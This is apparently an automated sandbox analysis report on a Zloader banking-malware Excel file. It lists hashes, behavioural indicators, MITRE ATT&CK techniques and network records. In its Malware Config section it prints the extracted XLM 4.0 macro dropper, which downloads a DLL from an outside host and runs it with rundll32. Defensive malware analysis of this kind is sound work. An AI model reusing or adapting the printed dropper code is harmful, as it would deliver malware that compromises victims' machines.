b7dd3bce3ebfbc2d5e3a9f00d47f27cb6a5895c4618c878e314e573a7c216df1

Resubmissions

22/10/2024, 02:07 UTC

241022-cka1nssfkj 10

Analysis

max time kernel
118s
max time network
127s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
22/10/2024, 02:07 UTC

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General

Target

The-MALWARE-Repo-master/Banking-Malware/Zloader.xlsm
Size

93KB
MD5

b36a0543b28f4ad61d0f64b729b2511b
SHA1

bf62dc338b1dd50a3f7410371bc3f2206350ebea
SHA256

90c03a8ca35c33aad5e77488625598da6deeb08794e6efc9f1ddbe486df33e0c
SHA512

cf691e088f9852a3850ee458ef56406ead4aea539a46f8f90eb8e300bc06612a66dfa6c9dee8dcb801e7edf7fb4ed35226a5684f4164eaad073b9511189af037
SSDEEP

1536:0sqG3SkDNIVXnR8TeYSSkCXgN+Uu+j6XJaRqWD/0ACKNONUhfy:0sNrxWXnCjiubXKD/EQA

Score

10^/10

discovery

Malware Config

Extracted

Language

xlm4.0

Source

1
=CALL("Kernel32", "CreateDirectoryA", "CJ", "C:\nxTgTGh", 0)
2
=CALL("Kernel32", "CreateDirectoryA", "CJ", "C:\nxTgTGh\ECeMdPT", 0)
3
=CALL("URLMON", "URLDownloadToFileA", "JCCJJ", 0, "https://erpoweredent.at/3/zte.dll", "C:\nxTgTGh\ECeMdPT\EnVYsVZ.dll", 0, 0)
4
=CALL("INSENG", "DownloadFile", "CCJ", "https://erpoweredent.at/3/zte.dll", "C:\nxTgTGh\ECeMdPT\EnVYsVZ.dll", 1)
5
=CALL("Shell32", "ShellExecuteA", "JCCCCJ", 0, "Open", "rundll32.exe", "C:\nxTgTGh\ECeMdPT\EnVYsVZ.dll,DllRegisterServer", "0", 0)

URLs

xlm40.dropper

https://erpoweredent.at/3/zte.dll

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2632	2884	rundll32.exe	29

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\J:	EXCEL.EXE
File opened (read-only)	\??\N:	EXCEL.EXE
File opened (read-only)	\??\Q:	EXCEL.EXE
File opened (read-only)	\??\U:	EXCEL.EXE
File opened (read-only)	\??\X:	EXCEL.EXE
File opened (read-only)	\??\Y:	EXCEL.EXE
File opened (read-only)	\??\B:	EXCEL.EXE
File opened (read-only)	\??\G:	EXCEL.EXE
File opened (read-only)	\??\M:	EXCEL.EXE
File opened (read-only)	\??\P:	EXCEL.EXE
File opened (read-only)	\??\R:	EXCEL.EXE
File opened (read-only)	\??\V:	EXCEL.EXE
File opened (read-only)	\??\W:	EXCEL.EXE
File opened (read-only)	\??\A:	EXCEL.EXE
File opened (read-only)	\??\E:	EXCEL.EXE
File opened (read-only)	\??\H:	EXCEL.EXE
File opened (read-only)	\??\I:	EXCEL.EXE
File opened (read-only)	\??\K:	EXCEL.EXE
File opened (read-only)	\??\L:	EXCEL.EXE
File opened (read-only)	\??\O:	EXCEL.EXE
File opened (read-only)	\??\S:	EXCEL.EXE
File opened (read-only)	\??\T:	EXCEL.EXE
File opened (read-only)	\??\Z:	EXCEL.EXE

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2884	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2884	EXCEL.EXE
2884	EXCEL.EXE
2884	EXCEL.EXE

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 2884 wrote to memory of 2632	2884	EXCEL.EXE	31
PID 2884 wrote to memory of 2632	2884	EXCEL.EXE	31
PID 2884 wrote to memory of 2632	2884	EXCEL.EXE	31
PID 2884 wrote to memory of 2632	2884	EXCEL.EXE	31
PID 2884 wrote to memory of 2632	2884	EXCEL.EXE	31
PID 2884 wrote to memory of 2632	2884	EXCEL.EXE	31
PID 2884 wrote to memory of 2632	2884	EXCEL.EXE	31

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\The-MALWARE-Repo-master\Banking-Malware\Zloader.xlsm
1⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2884
- C:\Windows\SysWOW64\rundll32.exe
  "C:\Windows\System32\rundll32.exe" C:\nxTgTGh\ECeMdPT\EnVYsVZ.dll,DllRegisterServer
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  PID:2632

Network

DNS

erpoweredent.at

EXCEL.EXE

Remote address:

8.8.8.8:53

Request

erpoweredent.at

IN A

Response

No results found

8.8.8.8:53

erpoweredent.at

dns

EXCEL.EXE

61 B
128 B
1
1

DNS Request

erpoweredent.at

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2884-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2884-1-0x0000000072A9D000-0x0000000072AA8000-memory.dmp

Filesize
44KB

Download
memory/2884-2-0x0000000072A9D000-0x0000000072AA8000-memory.dmp

Filesize
44KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

DNS Request

MITRE ATT&CK Enterprise v15

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